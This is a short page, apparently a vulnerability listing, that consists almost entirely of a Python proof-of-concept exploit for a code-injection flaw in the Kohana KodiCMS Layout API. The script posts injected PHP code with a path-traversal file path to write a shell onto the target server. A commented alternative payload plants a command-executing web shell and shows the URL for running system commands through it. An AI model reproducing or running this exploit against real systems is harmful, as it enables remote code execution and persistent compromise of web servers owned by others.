CVE-2025-15393 Kohana KodiCMS Layout API 代码注入漏洞

import requests # CVE-2025-15393 PoC - Kohana KodiCMS Code Injection # Target: Kohana KodiCMS up to version 13.82.135 # Endpoint: Layout API (cms/modules/kodicms/classes/kodicms/model/file.php) # Attack Type: Code Injection via content parameter target_url = "http://target.com/cms/modules/kodicms/classes/kodicms/model/file.php" # Malicious payload - PHP code injection payload = { "action": "save", "content": "<?php phpinfo(); ?>", # Inject PHP code "file_path": "../../../../../shell.php" # Path traversal to write shell } try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative RCE payload: # payload = {"action": "save", "content": "<?php system($_GET['cmd']); ?>"} # Access shell: http://target.com/shell.php?cmd=whoami